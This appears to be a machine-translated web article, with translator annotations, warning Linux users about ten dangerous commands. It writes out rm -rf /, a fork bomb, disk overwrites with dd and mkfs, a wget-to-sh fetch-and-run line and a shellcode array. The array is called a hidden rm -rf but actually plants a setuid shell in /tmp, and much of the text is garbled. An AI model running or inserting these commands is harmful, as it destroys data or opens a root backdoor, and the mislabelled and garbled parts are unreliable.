Command summary for Linux to be used

  

There are many commands in Linux system. Some commands are simple and practical, while others are extra careful when used. Once they are used incorrectly, they may cause serious consequences. Let's take a look at the Linux commands that need to be used with caution.

Linux command line Hen helpful, very efficient, and very interesting, but sometimes very dangerous, especially if you're not sure you are doing the time being. This article is not intended to provoke your anger at the Linux or Linux command line. We just want to make you realize that you should think twice before you run certain commands. (Annotation: Of course, the following commands are usually under the root authority to play stupidity to hopelessness; under the ordinary user identity, the destruction is only one acre of three acres.)

1. The rm -rf command

The rm -rf command is one of the fastest ways to delete a folder and its contents. Just a little bit of mistake or ignorance can lead to an unrecoverable system collapse. The following are some of the options for the rm command.

The rm command is commonly used to delete files under Linux.

The rm -r command recursively deletes folders, even empty folders. (Annotation: Personally think that this should be wrong, from common sense, it should be "even a non-empty folder")

rm -f command can be deleted without asking ‘ read-only File & rsquo;. (Annotation: Linux delete files does not care whether the file is read-only, but just care whether its parent directory has write permission. Therefore, the -f parameter simply means that you do not have to delete the confirmation one by one, but will be silently deleted. The original rm command does not actually delete the prompt, but the general distribution will add rm by alias to the -i parameter to request deletion confirmation, and -f suppress this prompt.)

rm - Rf /: Forces the deletion of all the roots in the root directory. (That is, after the deletion is completed, nothing is done...)

rm -rf *: Forces deletion of all files in the current directory.

rm -rf . : Forces deletion of the current folder and its subfolders.

From now on, be careful when you want to execute the rm -rf command. We can create an rm-i alias in the “.bashrc” file pair ‘rm‘ command to prevent accidents when deleting files with the ‘rm‘ command, which will ask you to confirm each delete request. (Annotation: Most distributions have already done this, if not, please do so, and must consider what you are doing before using the -f parameter! The translator has a lesson of blood and tears.)

2. :(){:| :&};: Command

This is an example of a fork bomb. The specific operation is to define a function named ‘:‘, it will call itself twice, once in the foreground and another in the background. It will be executed repeatedly until the system crashes.

:(){:| :&};:

Oh? Are you sure you want to try it? Don't experiment on the company's official server~~

3. Command " /dev/sda

The above command will write the output of a ‘ command & lsquo; to the block The device /dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss for the entire block device.

4. mv folder /dev/null

This command will move some ‘ folder & lsquo; to /dev/null. In Linux, the /dev/null or null device is a special file, all data written to it is cleared, and then the write operation is successful. (Annotation: This is a black hole. Of course, it should be noted that by moving the folder to the black hole, it does not prevent the redemption of the data recovery software, so the real complete destruction requires special software or techniques to complete — — I know that you definitely have something to delete.)

# mv /home/user/* /dev/null

The above command will have all the contents of the User directory. Move to /dev/null, which means that everything is ‘ involved in & rsquo; black hole (null).

5. wget http://malicious_source -O- |  Sh

The above command will download a script from a (perhaps) malicious source and execute it. The Wget command will download the script, and sh will (unconditionally) execute the downloaded script.

Note: You should always pay attention to the source of your download package or script. Use only those scripts/programs that are downloaded from a trusted source. (Annotation: So, do you really know what you are doing? When it comes to this need, my approach is to wget it down, then I will read what I wrote and then consider whether to implement it. )

6. mkfs.ext3 /dev/sda

The above command will format the block device & squo;sda’, you will undoubtedly know your block device after executing the above command (hard disk) The drive) will be formatted, brand new! Without any data, let your system reach an unrecoverable phase. (Annotation: usually do not directly use devices such as /dev/sda, unless it is used as a raw device, generally need to be divided into sda1, sda2 and other partitions. Of course, whether you use sda ​​or sda1, so Mkfs on block devices or partitions is devastating, and the above data will be evaporated.)

7. 》 file

The above commands are commonly used to empty the contents of the file. Also used to record command output. However, please confirm that the output file is empty or does not exist before execution, otherwise the original file can't be recovered. —— even data recovery software may not help you. I think what you might really want to use is “"", that is, add new output to the file instead of refreshing the file.). If you enter an error or ignorant input with the above execution, the command similar to “ xt.conf” will overwrite the configuration file or any other system configuration file.

8. ^foo^bar

This command is described in our little-known Linux commands & ndash; Part 3, which is used to edit previously run commands without having to replay the entire command. command. But when you use the foobar command, if you don't thoroughly check the risk of changing the original command, this can cause real trouble. (Annotation: In fact, this kind of trick is what the translator thinks, a few useless and harmful "hidden" hackers left behind in prehistoric times.)

9. dd if=/dev/random of =/dev/sda

The above command will write a random junk file to the block device sda ​​to erase the data. of course! Your system may be in a state of confusion and unrecoverable. (Annotation: Remember to say that mv to black hole can not completely delete the data? Then this command is to give you a completely deleted method! Of course, for the sake of insurance, you can overwrite multiple times.)

10 . Hide Commands

The following command is actually the first command above (rm -rf). The code here is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command in the terminal may erase your root partition.

This command indicates that the real danger is usually hidden and will not be easily detected. You must always be mindful of what you are doing and what will happen. Do not compile/run code from unknown sources.

Code:

char esp[] __attribute__ ((section(“.text”))) /* esp

release */

= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68″

“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\ Xdf\\xd9\\x68\\x8d\\x99″

“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7″

&ldquo ;\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56″

“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0 \\x0b\\xcd\\x80\\x31″

“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69″

“ \\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00″

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/. Beyond;”;

Note: Do not execute any of the above commands on your Linux terminal or shell in your classmate or school computer. If you want to test them, run them on a virtual machine. Any discord or loss of data, the author of the article and the home of the script are not responsible for the crash of your system due to the above commands.

The above is an introduction to the Linux commands that need to be used with caution. You should consider the consequences when using these commands. It is best not to use them if you don't understand them.

Copyright © Windows knowledge All Rights Reserved